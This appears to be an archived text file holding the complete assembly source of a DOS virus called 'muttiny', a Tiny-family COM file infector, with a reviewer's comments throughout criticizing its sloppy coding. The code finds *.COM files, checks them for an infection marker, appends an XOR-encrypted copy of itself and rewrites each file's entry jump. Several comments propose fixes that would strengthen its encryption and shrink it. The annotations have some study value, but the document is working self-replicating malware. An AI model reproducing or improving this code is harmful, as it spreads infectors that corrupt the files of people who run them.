home *** CD-ROM | disk | FTP | other *** search
-
- muttiny segment byte public
- assume cs:muttiny, ds:muttiny
-
- org 100h
-
- start: db 0e9h, 5, 0 ; jmp startvir
- restorehere: int 20h
- idword: dw 990h
- ; The next line is incredibly pointless. It is a holdover from one
- ; of the original TINYs, where the id was 7, 8, 9. The author can
- ; easily save one byte merely by deleting this line.
- db 09h
- startvir:
- call oldtrick ; Standard location-finder
- oldtrick: pop si
- ; The following statement is a bug -- well, not really a bug, just
- ; extraneous code. The value pushed on the stack in the following
- ; line is NEVER popped off. This is messy programming, as one byte
- ; could be saved by removing the statement.
- push si
- sub si,offset oldtrick
- call encrypt ; Decrypt virus
- call savepsp ; and save the PSP
- ; NOTE: The entire savepsp/restorepsp procedures are unnecessary.
- ; See the procedures at the end for further details.
- jmp short findencryptval ; Go to the rest of the virus
- ; The next line is another example of messy programming -- it is a
- ; NOP inserted by MASM during assembly. Running this file through
- ; TASM with the /m2 switch should eliminate such "fix-ups."
- nop
- ; The next line leaves me guessing as to the author's true intent.
- db 0
-
- encryptval dw 0h
-
- encrypt:
- push bx ; Save handle
- ; The following two lines of code could be condensed into one:
- ; lea bx, [si+offset startencrypt]
- ; Once again, poor programming style, though there's nothing wrong
- ; with the code.
- mov bx,offset startencrypt
- add bx,si
- ; Continueencrypt is implemented as a jmp-type loop. Although it's
- ; fine to code it this way, it's probably easier to code using the
- ; loop statement. Upon close inspection, one finds the loop to be
- ; flawed. Note the single inc bx statement. This essentially makes
- ; the encryption value a a byte instead of a word, which decreases
- ; the number of mutations from 65,535 to 255. Once again, this is
- ; just poor programming, very easily rectified with another inc bx
- ; statement. Another optimization could be made. Use a
- ; mov dx, [si+encryptval]
- ; to load up the encryption value before the loop, and replace the
- ; three lines following continueencrypt with a simple:
- ; xor word ptr [bx], dx
- continueencrypt:
- mov ax,[bx]
- xor ax,word ptr [si+encryptval]
- mov [bx],ax
- inc bx
- ; The next two lines should be executed BEFORE continueencrypt. As
- ; it stands right now, they are recalculated every iteration which
- ; slows down execution somewhat. Furthermore, the value calculated
- ; is much too large and this increases execution time. Yet another
- ; improvement would be the merging of the mov/add pair to the much
- ; cleaner lea cx, [si+offset endvirus].
- mov cx,offset veryend ; Calculate end of
- add cx,si ; encryption: Note
- cmp bx,cx ; the value is 246
- jle continueencrypt ; bytes too large.
- pop bx
- ret
- writerest: ; Tack on the virus to the
- call encrypt ; end of the file.
- mov ah,40h
- mov cx,offset endvirus - offset idword
- lea dx,[si+offset idword] ; Write starting from the id
- int 21h ; word
- call encrypt
- ret
-
- startencrypt:
- ; This is where the encrypted area begins. This could be moved to
- ; where the ret is in procedure writerest, but it is not necessary
- ; since it won't affect the "scannability" of the virus.
-
- findencryptval:
- mov ah,2Ch ; Get random #
- int 21h ; CX=hr/min dx=sec
- ; The following chunk of code puzzles me. I admit it, I am totally
- ; lost as to its purpose.
- cmp word ptr [si+offset encryptval],0
- je step_two
- cmp word ptr [si+offset encryptval+1],0
- je step_two
- cmp dh,0Fh
- jle foundencryptionvalue
- step_two: ; Check to see if any
- cmp dl,0 ; part of the encryption
- je findencryptval ; value is 0 and if so,
- cmp dh,0 ; find another value.
- je findencryptval
- mov [si+offset encryptval],dx
- foundencryptionvalue:
- mov bp,[si+offset oldjmp] ; Set up bp for
- add bp,103h ; jmp later
- lea dx,[si+filemask] ; '*.COM',0
- xor cx,cx ; Attributes
- mov ah,4Eh ; Find first
- tryanother:
- int 21h
- jc quit_virus ; If none found, exit
-
- mov ax,3D02h ; Open read/write
- mov dx,9Eh ; In default DTA
- int 21h
-
- mov cx,3
- mov bx,ax ; Swap file handle register
- lea dx,[si+offset buffer]
- mov di,dx
- call read ; Read 3 bytes
- cmp byte ptr [di],0E9h ; Is it a jmp?
- je infect
- findnext:
- mov ah,4Fh ; If not, find next
- jmp short tryanother
- infect:
- mov ax,4200h ; Move file pointer
- mov dx,[di+1] ; to jmp location
- mov [si+offset oldjmp],dx ; and save old jmp
- xor cx,cx ; location
- call int21h
- jmp short skipcheckinf
- ; Once again, we meet an infamous MASM-NOP.
- nop
- ; I don't understand why checkinf is implemented as a procedure as
- ; it is executed but once. It is a waste of code space to do such
- ; a thing. The ret and call are both extra, wasting four bytes. An
- ; additional three bytes were wasted on the JMP skipping checkinf.
- ; In a program called "Tiny," a wasted seven bytes is rather large
- ; and should not exist. I have written a virus of half the length
- ; of this virus which is a generic COM infector. There is just too
- ; too much waste in this program.
- checkinf:
- cmp word ptr [di],990h ; Is it already
- je findnext ; infected?
- ; The je statement above presents another problem. It leaves stuff
- ; on the stack from the call. This is, once again, not a critical
- ; error but nevertheless it is extremely sloppy behavior.
- xor dx,dx
- xor cx,cx
- mov ax,4202h
- call int21h ; Goto end of file
- ret
- skipcheckinf:
- mov cx,2
- mov dx,di
- call read ; read 2 bytes
- call checkinf
- ; The next check is extraneous. No COM file is larger than 65,535
- ; bytes before infection simply because it is "illegal." Yet ano-
- ; ther waste of code. Even if one were to use this useless check,
- ; it should be implemented, to save space, as or dx, dx.
- cmp dx,0 ; Check if too big
- jne findnext
-
- cmp ah,0FEh ; Check again if too big
- jae findnext
- mov [si+storejmp],ax ; Save new jmp
- call writerest ; location
- mov ax,4200h ; Go to offset
- mov dx,1 ; 1 in the file
- xor cx,cx
- call int21h
-
- mov ah,40h ; and write the new
- mov cx,2 ; jmp location
- lea dx,[si+storejmp]
- call int21h
- ; I think it is quite obvious that the next line is pointless. It
- ; is a truly moronic waste of two bytes.
- jc closefile
- closefile:
- mov ah,3Eh ; Close the file
- call int21h
- quit_virus:
- call restorepsp
- jmp bp
-
- read:
- mov ah,3Fh ; Read file
- ; I do not understand why all the int 21h calls are done with this
- ; procedure. It is a waste of space. A normal int 21h call is two
- ; bytes long while it's three bytes just to call this procedure!
- int21h:
- int 21h
- ret
-
- db 'Made in England'
-
- ; Note: The comments for savepsp also apply to restorepsp.
-
- ; This code could have easily been changed to a set active DTA INT
- ; 21h call (AH = 1Ah). It would have saved many, many bytes.
-
- savepsp:
- mov di,0
- ; The following is a bug. It should be
- ; mov cx, 50h
- ; since the author decided to use words instead of bytes.
- mov cx,100h
- push si
- ; The loop below is dumb. A simple rep movsw statement would have
- ; sufficed. Instead, countless bytes are wasted on the loop.
- storebytes:
- mov ax,[di]
- mov word ptr [si+pspstore],ax
- add si,2
- add di,2
- loop storebytes
- pop si
- ret
-
- restorepsp:
- mov di,0
- mov cx,100h ; Restore 200h bytes
- push si
- restorebytes:
- mov ax,word ptr [si+pspstore]
- mov [di],ax
- add si,2
- add di,2
- loop restorebytes
- pop si
- ret
-
- oldjmp dw 0
- filemask db '*.COM',0
- idontknow1 db 66h ; Waste of one byte
- buffer db 00h, 00h, 01h ; Waste of three bytes
- storejmp dw 0 ; Waste of two bytes
- ; endvirus should be before idontknow1, thereby saving six bytes.
- endvirus:
- idontknow2 db ?, ?
- pspstore db 200 dup (?) ; Should actually be
- idontknow3 db 2ch dup (?) ; 100h bytes long.
- veryend: ; End of encryption
- muttiny ends
- end start
-
-